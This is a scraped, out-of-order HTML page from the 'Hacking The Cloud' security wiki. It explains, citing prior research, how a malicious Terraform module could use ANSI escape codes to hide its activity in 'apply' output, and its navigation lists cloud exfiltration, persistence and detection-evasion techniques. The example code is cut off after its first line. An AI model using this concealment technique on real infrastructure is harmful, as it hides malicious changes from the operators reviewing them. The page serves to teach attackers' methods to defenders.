href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5 checked> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=true> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/terraform/terraform_ansi_escape_evasion.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=terraform-ansi-escape>Terraform ANSI Escape<a class=headerlink href=#terraform-ansi-escape title="Permanent link">&para;</a></h1> <p>Original Research: <a href=https://about.gitlab.com/blog/2022/06/01/terraform-as-part-of-software-supply-chain-part1-modules-and-providers/ >Joern Schneeweisz</a></p> <p>When performing a Terraform <a href=https://www.terraform.io/cli/commands/apply>apply</a> from a local workstation, Terraform will output a list of resources it has created, updated, or deleted. Because this is taking place in a terminal, we can potentially use <a href=https://en.wikipedia.org/wiki/ANSI_escape_code>ANSI escape codes</a> to alter this output. This would allow us to hide or obfuscate malicious activity, such as in a malicious Terraform module.</p> <p>Take for example the following Terraform code.</p> <div class=highlight><span class=filename>main.tf</span><pre><span></span><code><span class=kr>resource</span><span class=w> </span><span class=nc>&quot;null_resource&quot;</span><span class=w> </span><span class=nv>&quot;hypothetical_ec2_instance&quot;</span><span class=w> </span><span class=p>{</span>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#terraform-ansi-escape class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Terraform ANSI Escape </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=./ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> 